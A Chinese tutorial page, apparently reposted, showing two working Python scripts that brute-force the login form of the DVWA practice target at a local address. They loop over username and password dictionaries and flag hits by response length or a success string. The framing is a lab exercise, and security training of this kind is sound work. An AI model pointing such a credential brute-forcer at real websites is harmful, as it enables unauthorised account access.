返回顶部
首页 > 资讯 > 后端开发 > Python >Python破解网站登录密码脚本
  • 889
分享到

Python破解网站登录密码脚本

2024-04-02 19:04:59 889人浏览 安东尼

Python 官方文档:入门教程 => 点击学习

摘要

目录关键代码解释完整代码方法一运行结果方法二运行结果测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级 关键代码解释 url指定url地址 url = "Http

测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级

关键代码解释

url指定url地址

url = "Http://192.168.171.2/dvwa/vulnerabilities/brute/"

header设置请求头

header = {
'User-Agent':'Mozilla/5.0 (windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}

payload设置请求参数

payload = {'username':username,'passWord':password,"Login":'Login'}

这一行的作用是作一次get请求,响应信息被变量Response接收

Response = requests.get(url,params=payload,headers=header)

这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解

这种方式和burp的Intruder模块的Cluster bomb攻击方式一样

for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):

然后把循环结果存放到csv文件里,用逗号分割数据

Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度

result = str(Response.status_code) + ',' + username + ','\
  + password + ',' + str(len(Response.content))
f.write(result + '\n')

完整代码

方法一

登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; phpSESSID=bdi0ak5MQbud69nrnejgf8q00u'
}

f = open('result.csv','w')
f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        result = str(Response.status_code) + ',' + username + ','\
            + password + ',' + str(len(Response.content))
        f.write(result + '\n')
        
        print('\n完成')

运行结果

运行

这就是脚本发送的数据包

查看结果

查看包长度与其他不同的数据,登录测试

方法二

这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里

主要改动在第17到20行

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        if not(Response.text.find('Welcome to the password protected area')==-1):
            result = username + ':' + password
            print(result)
            f.write(result + '\n')
            
            print('\n完成')

运行结果

到此这篇关于python破解网站登录密码脚本的文章就介绍到这了,更多相关Python破解网站登录密码内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: Python破解网站登录密码脚本

本文链接: https://lsjlt.com/news/162479.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • Python破解网站登录密码脚本
    目录关键代码解释完整代码方法一运行结果方法二运行结果测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级 关键代码解释 url指定url地址 url = "http...
    99+
    2024-04-02
  • Python实现破解网站登录密码(带token验证)
    目录前言关键代码解释完整代码运行结果补充前言 上一篇暴力破解文章:一个简单的Python暴力破解网站登录密码脚本 测试靶机为Pikachu漏洞练习平台暴力破解模块下的 “...
    99+
    2024-04-02
  • Python脚本暴力破解栅栏密码
    今天遇到一个要破解的栅栏密码,先给大家介绍通用的脚本。 方法一(通用脚本): #!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: ut...
    99+
    2022-06-04
    栅栏 脚本 暴力
  • JavaScript怎么破解登录密码
    本篇内容介绍了“JavaScript怎么破解登录密码”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!首先我们打开12306的登录界面,打开抓包...
    99+
    2023-07-02
  • ubuntu登录密码如何破解
    这篇文章主要介绍“ubuntu登录密码如何破解”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“ubuntu登录密码如何破解”文章能帮助大家解决问题。1:开机按Shift键,出现如下界面。(手速要快,S...
    99+
    2023-07-04
  • Python猜解网站数据库管理员密码的脚本
    目录一、功能分析二、思路分析三、步骤实现1)判断注入点2)猜解长度3)猜解数据4)猜解脚本一、功能分析 简单分析一下网站的功能,大致如下: 需要用户在地址栏中提交参数,根据参数中的i...
    99+
    2024-04-02
  • Python+selenium破解拼图验证码的脚本
    目录实现思路核心代码实现思路 很多网站都有拼图验证码 1.首先要了解拼图验证码的生成原理 2.制定破解计划,考虑其可能性和成功率。 3.编写脚本 很多网站的拼图验证码都是直接借助第三...
    99+
    2024-04-02
  • shell脚本无密码登录 expect的使用方法详解
    shell脚本无密码登录 expect的使用方法详解 今天需要做一个定时任务脚本将最新的数据包文件传到远程的服务器上,虽然有密钥但也是要求输入密码的那种,所以只能另想办法实现让脚本自动输入密码了。 从网上...
    99+
    2022-06-04
    使用方法 详解 脚本
  • 如何破解MySQL5.7 数据库的root登录密码
    这期内容当中小编将会给大家带来有关如何破解MySQL5.7 数据库的root登录密码,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。导读本文档详细介绍破解 MySQL5.7...
    99+
    2024-04-02
  • 如何破解MariaDB5.5数据库的root登录密码
    这篇文章将为大家详细讲解有关如何破解MariaDB5.5数据库的root登录密码,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。[root@localhost...
    99+
    2024-04-02
  • JavaScript逆向案例之如何破解登录密码
    由于之前做过12306的自动抢票软件,因此对12306情有独钟,接下来就给大家介绍一下12306用户登录密码的参数破解办法。 最近在学习JS逆向方面的知识,由于之前做过12306的...
    99+
    2024-04-02
  • 1分钟破解Vista 系统登录密码,直接登录Vista系统
    做为系统管理员,如果忘记Vista登录密码,难道只能重装吗当然不是,下面介绍两种破解方法希望对大家有所帮助。   请先将Vista安装盘放入光驱,重新启动计算机,在CMOS中进行设置以光驱启动。   1.当出现安装界面时...
    99+
    2023-05-24
    破解 Vista 登录密码 密码 登录 系统
  • Python脚本实现自动登录校园网
    Python自动化脚本登录校园网 所需工具:python编译环境(博主使用的pycharm作演示,其实在cmd也可以操作!) selenium自动化脚本 .bat批处理文件 第一步...
    99+
    2024-04-02
  • shell脚本无密码登录expect的示例分析
    小编给大家分享一下shell脚本无密码登录expect的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!一、单独写一个脚本如 auto_scp.sh:#!/...
    99+
    2023-06-09
  • 如何破解Vista登陆密码
    如何破解Vista登陆密码?针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。    请先将Vista安装盘放入光驱,重新启动计算机,在CMOS中进...
    99+
    2023-06-14
  • Python 登录网站详解及实例
    Python 登录网站详解及实例 对于大部分论坛,我们想要抓取其中的帖子分析,首先需要登录,否则无法查看。   这是因为 HTTP 协议是一个无状态(Stateless)的协议,服务器如何知道当前请求连接的...
    99+
    2022-06-04
    详解 实例 网站
  • 破解win7登陆密码的方法
    第一步:  由于cmd在系统目录,文件更改首先要获得文件所有权。打开“D:\Windows\system32”(假设Windows 7安装在D盘),右击“arrator.exe&rdq...
    99+
    2023-05-25
    破解win7 登陆密码 win7 方法
  • Vista登陆密码的破解方法
    Windows Vista系统管理员如果忘记登录密码,难道只能重装吗当然不是,下面介绍两种破解方法希望对大家有所帮助。     请先将Vista安装盘放入光驱,重新启动计算机,在CMOS中进...
    99+
    2023-05-23
    方法 破解 Vista
  • php网站登录密码忘记了的三种解决办法
    随着网络的普及,越来越多的人需要设置各种网络账号来应对日常生活的需求。同时,为了保护账号的安全,许多网站都需要设置登录密码。但有时候,我们可能会因为各种原因忘记自己的密码。在本文中,我们将分享几种找回PHP网站登录密码的方法,帮助您重获账号...
    99+
    2023-05-14
  • Linux下如何破解MariaDB数据库的root登录密码
    这篇文章主要介绍Linux下如何破解MariaDB数据库的root登录密码,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!忘记 root 登录密码[root@localhost ~]# mysql&...
    99+
    2023-06-28
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作